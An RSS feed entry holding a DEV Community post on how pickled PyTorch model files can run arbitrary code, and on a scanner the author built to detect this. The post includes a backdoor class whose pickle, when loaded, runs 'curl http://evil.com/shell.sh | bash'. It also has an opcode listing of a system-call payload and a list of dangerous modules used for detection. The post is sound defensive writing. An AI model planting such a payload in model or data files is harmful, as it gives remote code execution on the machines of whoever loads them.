<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Pooja Kiran</title>
    <description>The latest articles on DEV Community by Pooja Kiran (@pooja_kiran_e3e03bf9ffeed).</description>
    <link>https://dev.to/pooja_kiran_e3e03bf9ffeed</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3939181%2Fc49a61cc-0410-4d07-9dcd-c27f83ef81a2.png</url>
      <title>DEV Community: Pooja Kiran</title>
      <link>https://dev.to/pooja_kiran_e3e03bf9ffeed</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/pooja_kiran_e3e03bf9ffeed"/>
    <language>en</language>
    <item>
      <title>Your PyTorch Model File Can Execute Arbitrary Code — Here's How I Built a Scanner to Detect It</title>
      <dc:creator>Pooja Kiran</dc:creator>
      <pubDate>Tue, 19 May 2026 03:02:18 +0000</pubDate>
      <link>https://dev.to/pooja_kiran_e3e03bf9ffeed/your-pytorch-model-file-can-execute-arbitrary-code-heres-how-i-built-a-scanner-to-detect-it-5cec</link>
      <guid>https://dev.to/pooja_kiran_e3e03bf9ffeed/your-pytorch-model-file-can-execute-arbitrary-code-heres-how-i-built-a-scanner-to-detect-it-5cec</guid>
      <description>&lt;p&gt;Every time you run torch.load("model.pt"), you're executing arbitrary Python code. Not "could theoretically execute" — actually executing. The pickle format that&lt;br&gt;
  PyTorch uses for serialization has a built-in code execution mechanism, and it's trivial to exploit.&lt;/p&gt;

&lt;p&gt;I built a tool to detect this. Here's what I learned.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Attack: 4 Lines of Code&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;import pickle, os&lt;/p&gt;

&lt;p&gt;class Backdoor:&lt;br&gt;
      def &lt;strong&gt;reduce&lt;/strong&gt;(self):&lt;br&gt;
          return (os.system, ("curl &lt;a href="http://evil.com/shell.sh" rel="noopener noreferrer"&gt;http://evil.com/shell.sh&lt;/a&gt; | bash",))&lt;/p&gt;

&lt;p&gt;payload = pickle.dumps(Backdoor())&lt;/p&gt;

&lt;p&gt;That's it. When someone loads this pickle — whether it's disguised as a model checkpoint, a dataset, or a config file — the command executes. No warnings. No prompts.&lt;br&gt;
  Full RCE.&lt;/p&gt;

&lt;p&gt;The &lt;strong&gt;reduce&lt;/strong&gt; method tells pickle how to reconstruct an object. But "reconstruct" means "call this function with these arguments." Any function. Any arguments.&lt;/p&gt;

&lt;p&gt;** Why This Matters for ML**&lt;/p&gt;

&lt;p&gt;ML models are distributed as serialized files:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;PyTorch .pt files are ZIP archives containing pickles&lt;/li&gt;
&lt;li&gt;Scikit-learn models are pickled directly&lt;/li&gt;
&lt;li&gt;HuggingFace Hub hosts thousands of user-uploaded model files&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In 2023, HuggingFace found malicious pickles in uploaded models. This isn't theoretical — it's happening.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How Detection Works: Opcode Disassembly&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Python's pickletools module can disassemble pickle bytecode without executing it. Here's what a malicious pickle looks like at the opcode level:&lt;/p&gt;

&lt;p&gt;PROTO      4&lt;br&gt;
  FRAME      25&lt;br&gt;
  SHORT_BINUNICODE 'nt'          ← module name (os on Windows)&lt;br&gt;
  SHORT_BINUNICODE 'system'      ← function name&lt;br&gt;
  STACK_GLOBAL                   ← load nt.system as callable&lt;br&gt;
  SHORT_BINUNICODE 'whoami'      ← argument&lt;br&gt;
  TUPLE1                         ← pack into tuple&lt;br&gt;
  REDUCE                         ← CALL the function&lt;br&gt;
  STOP&lt;/p&gt;

&lt;p&gt;The key insight: STACK_GLOBAL loads a callable by module + name, and REDUCE executes it. If the module is os, subprocess, socket, or builtins — it's malicious.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;My Scanner:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fneznvdd3k04z7aut4kf2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fneznvdd3k04z7aut4kf2.png" alt=" " width="800" height="462"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I built Model-Supply-Chain-Auditor (&lt;a href="https://github.com/poojakira/Model-Supply-Chain-Auditor" rel="noopener noreferrer"&gt;https://github.com/poojakira/Model-Supply-Chain-Auditor&lt;/a&gt;) to parse these opcodes and flag dangerous patterns:&lt;/p&gt;

&lt;p&gt;from src.scanners import scan_pickle_bytes&lt;/p&gt;

&lt;p&gt;result = scan_pickle_bytes(suspicious_data)&lt;br&gt;
  print(result.risk_level)      # "malicious"&lt;br&gt;
  print(result.findings)        # ["DANGEROUS import: nt.system", "Code execution via REDUCE"]&lt;/p&gt;

&lt;p&gt;It handles pickle protocols 0-5, including the protocol 4+ STACK_GLOBAL pattern where module and name are pushed to the stack separately.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What I Got Wrong Initially&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;On Windows, os.system pickles as nt.system. On Linux, it's posix.system. My first version only checked for os — missed both platform-specific variants. Lesson: always&lt;br&gt;
  test on actual bytecode output, not what you think it should be.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Defense: Model Signing&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Detection is reactive. The proactive defense is cryptographic signing:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;After training, compute SHA-256 of the model file&lt;/li&gt;
&lt;li&gt;Sign the hash with Ed25519&lt;/li&gt;
&lt;li&gt;Before loading, verify signature against a trusted public key&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;If the signature doesn't match, don't load it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What This Doesn't Solve&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Obfuscated payloads — Lambda chains and &lt;strong&gt;builtins&lt;/strong&gt; tricks can evade pattern matching&lt;/li&gt;
&lt;li&gt;Semantic backdoors — A model can be backdoored at the weight level without malicious pickle code&lt;/li&gt;
&lt;li&gt;SafeTensors — HuggingFace's format eliminates this entire attack class by design. Use it when possible.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;The Takeaway:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;If you're downloading model files from the internet:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Never pickle.loads() untrusted data&lt;/li&gt;
&lt;li&gt;Use SafeTensors when possible&lt;/li&gt;
&lt;li&gt;Scan before loading&lt;/li&gt;
&lt;li&gt;Verify cryptographic signatures&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The ML community is slowly moving toward safer serialization. Until then, every .pt file is a potential attack vector.&lt;/p&gt;

&lt;p&gt;Code: github.com/poojakira/Model-Supply-Chain-Auditor (&lt;a href="https://github.com/poojakira/Model-Supply-Chain-Auditor" rel="noopener noreferrer"&gt;https://github.com/poojakira/Model-Supply-Chain-Auditor&lt;/a&gt;)&lt;/p&gt;

</description>
      <category>security</category>
      <category>python</category>
      <category>machinelearning</category>
      <category>pytorch</category>
    </item>
  </channel>
</rss>
